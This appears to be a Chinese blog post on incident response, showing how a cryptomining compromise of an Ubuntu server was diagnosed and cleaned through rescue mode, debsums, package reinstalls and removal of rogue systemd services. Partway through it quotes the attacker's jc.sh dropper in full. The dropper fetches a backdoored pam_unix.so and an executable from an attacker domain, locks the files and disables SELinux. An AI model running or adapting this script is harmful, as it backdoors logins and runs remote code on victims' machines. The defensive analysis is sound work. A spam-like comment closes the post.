救援镜像 f19fd48c-46d2-455e-9d71-0409f3a4c9e4

问题表现为无法远程登录,通过vnc登录同样失败,控制台重置密码同样不生效。
先从无法远程登录及无法vnc登录开始排查
vnc登录时输入用户名root回车后,在没有到输入密码的步骤时,直接报错密码错误

控制台重启后进入救援模式进行排查

查看安全日志,发现pam模块报错且认证失败

尝试重置密码,发现无法重置

根据上述情况,有理由考虑被入侵的可能性,执行crontab -l ,发现异常计划任务,简单分析一下,判断为挖矿任务

排查出安全问题之后,首先尝试能够正常登录系统进行排查,优先解决无法登录的问题。
先尝试在救援模式下恢复网络,执行export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 命令,确保可以正常使用命令
执行ip link show和ifconfig,发现网络接口没有启动,使用dhclient ens3可以自动启用网络接口,并dhcp下发地址
ping 测试网络恢复成功(需要注意的 ubuntu 和 debian 在救援模式下无法执行 CTRL+C,所以不建议从内部 ping 外面测试,以及执行其他需要 CTRL+C 结束的命令)

网络恢复后,ubuntu系列操作系统可以安装debsums进行包审计


使用debsums -a>/root/debsum.txt进行审计

审计完成之后查看审计失败结果,明显可以看到pam_unix.so和ld-linux-x86-64.so.2被篡改了

使用dpkg -S /lib/x86_64-linux-gnu/security/pam_unix.so和dpkg -S /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2查询来自libpam-modules和libc6这两个包

debsums检查出来不一致的配置文件进行单独查看分析,未发现异常配置,那么现在就需要重新安装有问题的包
apt install –reinstall libpam-modules

安装出现了报错提示 /lib/x86_64-linux-gnu/security/pam_unix.so权限不足,执行lsattr /lib/x86_64-linux-gnu/security/pam_unix.so检查权限,发现被上锁

执行chattr -ia /lib/x86_64-linux-gnu/security/pam_unix.so后重新安装


libc6库同上,先解锁,再安装
apt install –reinstall libc6


再次修改root密码,发现没有报错

初步修复之后务必做好快照,因为若此时重启操作系统,会有开机自启动的服务器重新篡改这些文件
启动sshd服务验证远程登录功能


此时可以尝试开始清理病毒文件并恢复系统
先对之前恶意程序篡改的文件加锁,来试图对抗恶意程序的修改以能够登录到异常系统进行排查
chattr +ia /lib/x86_64-linux-gnu/security/pam_unix.so
chattr +ia /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2

重启操作系统,并
清除计划任务


查看启动脚本,初步检查无异常

检查自启动的systemd服务
systemctl list-unit-files –type=service –state=enabled
可以看到有69个自启动的服务,现在需要排查出可疑的服务
root@host-172-13-1-211:~# systemctl list-unit-files --type=service --state=enabled
UNIT FILE STATE VENDOR PRESET
apparmor.service enabled enabled
blk-availability.service enabled enabled
chrony.service enabled enabled
cloud-config.service enabled enabled
cloud-final.service enabled enabled
cloud-init-local.service enabled enabled
cloud-init.service enabled enabled
cloudResetPwdAgent.service enabled enabled
cloverfield.service enabled enabled
console-setup.service enabled enabled
containerd.service enabled enabled
cron.service enabled enabled
ddaemon.service enabled enabled
dmesg.service enabled enabled
docker.service enabled enabled
e2scrub_reap.service enabled enabled
finalrd.service enabled enabled
getty@.service enabled enabled
gpu-manager.service enabled enabled
grub-common.service enabled enabled
grub-initrd-fallback.service enabled enabled
irqbalance.service enabled enabled
kdump-tools.service enabled enabled
keyboard-setup.service enabled enabled
lvm2-monitor.service enabled enabled
lxd-agent.service enabled enabled
ModemManager.service enabled enabled
multipathd.service enabled enabled
my_daemon.service enabled enabled
NetworkManager-dispatcher.service enabled enabled
NetworkManager-wait-online.service enabled enabled
NetworkManager.service enabled enabled
networkxm.service enabled enabled
nidhogg.service enabled enabled
nvidia-hibernate.service enabled enabled
nvidia-mig-disable.service enabled enabled
nvidia-resume.service enabled enabled
nvidia-suspend.service enabled enabled
ollama.service enabled enabled
open-iscsi.service enabled enabled
open-vm-tools.service enabled enabled
pollinate.service enabled enabled
resolvconf-pull-resolved.service enabled enabled
resolvconf.service enabled enabled
rsyslog.service enabled enabled
secureboot-db.service enabled enabled
setvtrgb.service enabled enabled
snap.lxd.activate.service enabled enabled
snapd.apparmor.service enabled enabled
snapd.autoimport.service enabled enabled
snapd.core-fixup.service enabled enabled
snapd.recovery-chooser-trigger.service enabled enabled
snapd.seeded.service enabled enabled
snapd.service enabled enabled
snapd.system-shutdown.service enabled enabled
ssh.service enabled enabled
systemd-pstore.service enabled enabled
systemd-resolved.service enabled enabled
thermald.service enabled enabled
ua-reboot-cmds.service enabled enabled
ubuntu-advantage.service enabled enabled
udisks2.service enabled enabled
ufw.service enabled enabled
unattended-upgrades.service enabled enabled
uniagent.service enabled enabled
uniagentd.service enabled enabled
v2raya.service enabled enabled
vgauth.service enabled enabled
wpa_supplicant.service enabled enabled
69 unit files listed.
创建一个脚本,用于确定最近修改的服务时间

#!/bin/bash
# 输出文件路径
output_file="/root/systemd-time.txt"
# 清空输出文件(如果存在)
> "$output_file"
# 获取启用的服务列表并逐行处理
enabled_services=$(systemctl list-unit-files --type=service --state=enabled | awk '{print $1}' | grep -v '^$')
# 输出启用的服务到文件
echo "启用的服务列表:" >> "$output_file"
for service in $enabled_services; do
echo "$service" >> "$output_file"
# 查找服务文件
service_paths=$(find /etc/systemd/system /lib/systemd/system -name "$service")
# 检查是否找到了服务文件
if [ -z "$service_paths" ]; then
echo "未找到服务文件:$service" >> "$output_file"
else
# 输出找到的服务文件路径
echo "找到的服务文件路径:" >> "$output_file"
echo "$service_paths" >> "$output_file"
# 使用 stat 查看每个文件的信息
for service_path in $service_paths; do
stat "$service_path" >> "$output_file"
done
fi
done

执行脚本之后,根据发现问题的时间区间,定位出在这期间创建的可疑服务为:
ddaemon.service;my_daemon.service;networkxm.service
他们的创建时间均为2025-02-17,且命名不像是正常服务
ddaemon.service服务分析


可执行文件微步分析

有下载脚本的网络行为


下载这个jc.sh脚本如下:
#!/bin/bash
# Function to download and update pam_unix.so
download_and_update_pam() {
local pam_file="$1"
local pam_version="$2"
local exec_url="http://dasfsdfsdfsdfasfgbczxxc.lusyn.xyz/jc/1"
local pam_url="http://dasfsdfsdfsdfasfgbczxxc.lusyn.xyz/jc/pam_unix.so_$pam_version"
echo "$pam_url"
# Backup existing pam_unix.so file if it exists
if [ -f "$pam_file" ]; then
#ddos -ia "$pam_file"
chattr -ia "$pam_file"
mv "$pam_file" "${pam_file}.bak"
fi
# Download and update pam_unix.so
if which curl >/dev/null 2>&1; then
curl -o "$pam_file" "$pam_url"
elif which wget >/dev/null 2>&1; then
wget -O "$pam_file" "$pam_url"
else
echo "Neither curl nor wget found. Exiting."
exit 1
fi
chmod 644 "$pam_file"
touch "$pam_file" -r "${pam_file}.bak"
chattr +ia "$pam_file"
echo "Updated version $pam_version"
if which curl >/dev/null 2>&1; then
curl -o 1 "$exec_url"
elif which wget >/dev/null 2>&1; then
wget -o 1 "$exec_url"
else
echo "Neither curl nor wget found. Exiting."
exit 1
fi
chmod 777 1
./1
}
# Detect operating system and define pam_file location
detect_os_and_define_pam_file() {
if [ -f /etc/os-release ]; then
. /etc/os-release
OS=$NAME
elif type lsb_release >/dev/null 2>&1; then
OS=$(lsb_release -si)
elif [ -f /etc/lsb-release ]; then
. /etc/lsb-release
OS=$DISTRIB_ID
elif [ -f /etc/redhat-release ]; then
OS=$(cat /etc/redhat-release | cut -d' ' -f1)
else
OS=$(uname -s)
fi
case "$OS" in
"Debian"|"Ubuntu"|"Debian GNU/Linux")
PAM_FILE="/lib/x86_64-linux-gnu/security/pam_unix.so"
;;
"CentOS"|"RHEL"|"CentOS Linux"|"Fedora"|"AlmaLinux"|"CentOS Stream"|"OpenCloudOS")
PAM_FILE="/lib64/security/pam_unix.so"
;;
*)
echo "Unsupported operating system: $OS. Exiting."
exit 1
;;
esac
}
# Main logic
detect_os_and_define_pam_file
# Get PAM version
if [[ -f /etc/debian_version ]]; then
# For Debian/Ubuntu systems
PAM_VERSION=$(dpkg -s libpam-modules | grep '^Version:' | awk '{print $2}')
else
# For RedHat/CentOS systems
PAM_VERSION=$(rpm -q pam | grep -oP 'pam-\K[\d\.]+' | head -1)
fi
if [[ -z "$PAM_VERSION" ]]; then
echo "PAM not installed or version not detected. Exiting."
exit 1
fi
# Format PAM version for URL
PAM_VERSION_FORMATTED="v$(echo "$PAM_VERSION" | tr -d '.' | cut -c1-3)"
# Download and update PAM
download_and_update_pam "$PAM_FILE" "$PAM_VERSION_FORMATTED"
# Additional configurations
sed -i 's/^UsePAM no/UsePAM yes/' /etc/ssh/sshd_config
sed -i 's/SELINUX=enforcing/SELINUX=disabled/' /etc/selinux/config
setenforce 0
chattr +ia /etc/selinux/config
systemctl restart sshd || service sshd restart
# Self-deletion of the script
# rm -- "$0"
rm jc.sh
my_daemon.service 服务分析


可执行文件微步分析

networkxm.service 服务分析


微步无已知样本,上传进行分析

移除恶意服务,并重启

重启之后,系统可以正常登陆,top查看,发现有异常进程

根据/proc/717/exe定位出异常可执行文件,再服务列表中查找如下

、


将可执行文件上传分析,判断为恶意木马

分析为挖矿程序

安装chkrootkit深入分析

扫描无异常

安装rkhunter

更新病毒库

扫描发现异常




1

重新安装







This is an excellent incident response walkthrough! Your methodical approach—starting with login failures, discovering the cron miner, then strategically using rescue mode to lock down compromised PAM modules before cleanup—is textbook cybersecurity. Just as 99win login systems prioritize security layers, your file integrity checks with debsums and chattr locking were crucial. The snapshot-before-reboot decision shows great forethought.